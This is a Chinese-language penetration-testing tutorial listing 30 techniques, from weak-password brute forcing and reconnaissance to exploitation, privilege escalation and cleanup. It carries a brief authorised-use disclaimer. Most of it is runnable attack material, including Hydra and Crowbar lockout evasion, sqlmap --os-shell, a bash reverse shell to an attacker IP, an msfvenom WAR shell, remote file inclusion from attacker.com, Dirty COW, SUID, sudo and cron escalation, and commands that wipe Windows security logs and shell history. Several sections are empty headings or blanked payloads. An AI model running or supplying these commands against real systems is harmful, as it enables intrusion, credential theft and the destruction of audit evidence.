本文旨在为企业安全运维与渗透测试人员提供一套系统的实战技巧,以增强主动防御能力。请注意,所有技术操作应在获得明确授权的合法环境下进行。
第一部分:弱口令爆破实战技巧
弱口令作为最常见的攻击入口,实战中需在高效爆破与规避防御机制之间取得平衡。
技巧 1:SSH弱口令爆破——Hydra精准配置
技巧 2:Windows RDP弱口令爆破——规避账户锁定
- 工具选择:使用专为RDP(3389端口)优化的Crowbar,具备一定的登录锁定绕过能力。
- 实战策略:
- 信息搜集:
nmap -p 3389 --script rdp-ntlm-info [目标IP],获取系统版本信息(如Windows Server 2008/2012)。
- 字典优化:优先尝试“用户名密码相同”(admin/admin)及常见设备厂商默认密码。
- 风险规避:若目标存在账户锁定策略,使用
-d 3参数设置3秒尝试间隔,避免触发锁定。
技巧 3:Web后台弱口令爆破——Burp Suite动态适配
- 适用场景:针对PHPMyAdmin、WordPress、企业OA等Web管理系统。
- 实战步骤:
- 使用Burp Suite拦截登录请求,分析请求方式(POST/GET)及参数名(如
username、password)。
- 进入
Intruder模块,选用Cluster bomb攻击类型,分别载入用户和密码字典。
- 设置
Grep - Match选项,添加“密码错误”、“invalid”等失败响应关键词,快速筛选成功结果。
- 验证码处理:先判断验证码是否可会话复用。若不可复用且OCR识别率(如使用Tesseract)低于50%,建议放弃爆破。
技巧 4:MySQL数据库弱口令爆破——端口与权限适配
技巧 5:弱口令字典优化——提升爆破效率
- 核心原则:字典质量优于数量,力求精准,减少90%以上的无效尝试。
- 优化方法:
- 场景关联:针对教育机构,加入“edu”、“teacher”;针对企业,加入公司简称、域名前缀。
- 经典字典裁剪:在
rockyou.txt基础上,移除特殊字符过多或长度不合理的密码,保留6-12位常用组合。
- 规则生成:使用Crunch工具生成“用户名+生日”等组合模式,例如:
crunch 8 10 -t admin%%%%(%%%%代表4位数字)。
第二部分:信息收集实战技巧
精准的信息收集是后续所有攻击步骤的基础,需全面覆盖资产、端口及敏感信息。
技巧 6:全端口扫描——避免遗漏高危服务
- 工具组合:
Masscan(高速发现)+ Nmap(深度探测)。
- 实战命令:
- 快速扫描:
masscan -p 1-65535 [目标IP段] --rate=10000 -oG masscan_result.txt
- 深度探测:
nmap -p 22,80,3306,3389 -sV -sC [目标IP] (对Masscan发现的开放端口进行服务版本和漏洞脚本扫描)
- 常见高危端口:22 (SSH), 80/443 (Web), 3306 (MySQL), 3389 (RDP), 6379 (Redis), 8080 (Tomcat)。
技巧 7:子域名枚举——扩大攻击面
- 工具选择:
OneForAll(多数据源)、Layer子域名挖掘机(侧重国内)。
- 实战步骤:
- 枚举:
python3 oneforall.py --target example.com run
- 筛选:从结果中
grep "200"提取状态码正常的子域名。
- 验证:使用
nslookup确认子域名IP归属,避免将CDN或第三方托管服务误判为目标资产。
技巧 8:Web服务指纹识别——定位漏洞方向
- 工具选择:
WhatWeb(基础识别)、FingerprintX(精准识别)。
- 实战关联:
- 识别为
WordPress 5.8,则关注CVE-2021-29447等相关漏洞。
- 识别为
Tomcat 7.0.90,则检查/manager/html默认后台及弱口令。
- 补充技巧:访问
/robots.txt文件,常能发现/admin、/backup等敏感目录线索。
技巧 9:敏感文件泄露探测——获取配置信息
- 常见文件:
.sql/.bak备份文件、config.php配置文件、access.log日志文件。
- 探测方法:
- 工具扫描:
python3 dirsearch.py -u http://[目标IP] -w common.txt -e php,sql,bak
- 手动分析:若发现
/config.php.bak,下载后搜索password、dbpass等关键词,常直接获取数据库凭证。
技巧 10:Redis未授权访问检测——快速获取权限
- 检测方法:使用
redis-cli -h [目标IP]直连,若无需密码即可执行命令,则存在未授权访问。
- 利用思路:连接后执行
config get dir、config get dbfilename。若目录可写(如/var/spool/cron/),可尝试写入定时任务进行提权。
- 版本注意:Redis 6.0+版本默认安全增强,此漏洞多见于老旧版本。
技巧 11:邮箱信息收集——辅助社工与爆破
- 收集渠道:企业官网“联系我们”、招聘网站职位信息、领英等社交平台。
- 利用价值:将邮箱前缀(如
zhangSan)作为用户名字典,结合企业信息生成密码(如ZhongGuoDianXin2023),可显著提升弱口令爆破成功率。
技巧 12:IP归属与备案查询——确认测试范围合法性
- 查询工具:IPIP.net(归属地)、工信部ICP备案网站。
- 实战意义:
- 确认IP属地,避免无意中跨境测试触犯法规。
- 核对备案主体与授权测试企业是否一致,防止误测第三方资产。
第三部分:漏洞利用实战技巧
基于信息收集结果,对发现的漏洞进行针对性利用,获取初始访问权限。
技巧 13:SQL注入漏洞利用——从查询到写入
- 漏洞判断:参数后添加
' and 1=1 --+(正常)与' and 1=2 --+(异常),初步判断注入点。
- 工具利用(sqlmap):
- 探测数据库:
sqlmap -u "http://target.com?id=1" --dbs
- 提取数据:
sqlmap -u "http://target.com?id=1" -D db -T user -C username,password --dump
- 获取Shell:
sqlmap -u "http://target.com?id=1" --os-shell (需足够权限)
- WAF绕过:尝试大小写变换、内联注释(
/*!*/)、特殊字符编码等方式。
技巧 14:文件上传漏洞利用——绕过验证机制
- 常见验证及绕过:
- 前端JS验证:禁用浏览器JS或拦截修改请求包。
- MIME类型验证:Burp Suite拦截,将
Content-Type改为image/jpeg等白名单类型。
- 后缀黑名单:尝试
.php5、.phtml、.php.(Windows自动去点)等变形。
- 利用步骤:上传一句话Webshell(``)并访问,验证命令执行。
技巧 15:命令注入漏洞利用——获取系统权限
- 漏洞判断:在系统命令功能参数后添加
&& whoami(Linux)或& whoami(Windows),观察回显。
- 利用方法:构造命令反弹Shell。
- Linux:
ping 127.0.0.1 && bash -i >& /dev/tcp/[攻击机IP]/8888 0>&1
- Windows:使用Powerhell编写冗长的反弹脚本,或借助MSF生成木马。
技巧 16:Tomcat默认后台弱口令利用——部署War包
- 前提:
/manager/html路径可访问,且存在弱口令(如tomcat:s3cret)。
- 步骤:
- 使用
msfvenom生成恶意War包:msfvenom -p java/jsp_shell_reverse_tcp LHOST=攻击机IP LPORT=8888 -f war -o shell.war
- 登录Tomcat管理后台,在Deploy模块上传并部署
shell.war。
- 访问
http://target:8080/shell/,攻击机通过nc接收Shell。
技巧 17:Nginx解析漏洞利用(CVE-2013-4547)
- 影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7。
- 利用方法:
- 上传包含PHP代码的图片马(如
shell.jpg)。
- 访问
http://target/upload/shell.jpg/.php,Nginx错误解析致使图片中的PHP代码被执行。
技巧 18:Windows MS17-010(永恒之蓝)漏洞利用
技巧 19:Linux Dirty COW内核提权(CVE-2016-5195)
- 影响版本:Linux内核2.6.22 ~ 3.9。
- 步骤:
- 下载编译EXP:
gcc -pthread dirty.c -o dirty -lcrypt
- 运行:
./dirty,按提示设置新密码。
- 切换用户:
su firefart,输入密码后获得root权限。
- 现状:该漏洞在老旧未更新系统中仍可能生效。
技巧 20:XSS漏洞利用——会话劫持
- 存储型XSS利用:
- 在评论区等位置插入窃取Cookie的脚本:``。
- 攻击机部署
xss.php记录Cookie:``。
- 管理员浏览后,其Cookie被窃取,可用于会话劫持。
技巧 21:文件包含漏洞利用
- 漏洞判断:尝试包含
../../etc/passwd等系统文件,观察是否读取成功。
- 利用方式:
- LFI:直接读取Web配置文件,获取数据库密码。
- RFI:若
allow_url_include=On,可远程包含恶意脚本:?file=http://attacker.com/shell.txt。
技巧 22:JBoss中间件漏洞利用
- 漏洞路径:
/jmx-console/ 未授权访问(JBoss 4.x常见)。
- 利用步骤:
- 访问
http://target:8080/jmx-console/确认漏洞。
- 找到
jboss.web.deployment的deploy方法。
- 在
warUrl参数中填入远程恶意War包地址并调用,部署Webshell。
第四部分:权限提升实战技巧
获取初始立足点后,需通过系统漏洞或配置缺陷提升至最高权限。
技巧 23:Windows服务路径权限滥用提权
- 原理:当前用户对某个系统服务的可执行路径拥有修改权限。
- 步骤:
- 检查服务配置:
sc qc 服务名,查看BINARY_PATH_NAME的权限。
- 修改路径为恶意命令:
sc config 服务名 binPath= "cmd.exe /c 恶意命令"
- 重启服务,恶意命令将以SYSTEM权限执行。
技巧 24:Windows令牌窃取提权(Incognito)
技巧 25:Windows UAC绕过提权(CVE-2021-40449)
技巧 26:Linux SUID提权
- 查找SUID文件:
find / -perm -u=s -type f 2>/dev/null
- 常用命令提权:
- find:
find /tmp -name test -exec /bin/sh -p {} \;
- bash:
/bin/bash -p
技巧 27:Linux sudo配置错误提权
- 查看sudo权限:
sudo -l
- 利用示例:
- 若允许无密码执行
/usr/bin/find:sudo find /tmp -exec /bin/sh \\;
- 若允许无密码执行
/bin/bash:sudo bash
技巧 28:Linux计划任务提权
- 原理:当前用户对root定期执行的脚本有写权限。
- 步骤:
- 查看计划任务:
cat /etc/crontab
- 检查脚本权限:
ls -l /path/to/script.sh
- 向脚本中写入反弹Shell命令,等待任务执行。
技巧 29:Linux环境变量提权
- 原理:root执行的计划任务调用了相对路径命令(如
ls)。
- 步骤:
- 在用户可控目录(如
/tmp)创建恶意的ls文件。
- 修改
PATH环境变量,使其优先搜索/tmp:export PATH=/tmp:$PATH
- 等待计划任务执行,触发恶意命令。
技巧 30:权限提升后的痕迹清理
- 核心原则:在授权测试结束后,清理测试产生的文件、日志及配置变更。
- Windows清理:
- 删除文件:
del C:\\shell.war
- 清除日志:
wevtutil cl Security、wevtutil cl System
- 恢复服务配置。
- Linux清理:
- 删除文件:
rm /tmp/恶意文件
- 清除历史:
history -c && rm ~/.bash_history
- 恢复计划任务等配置文件。
|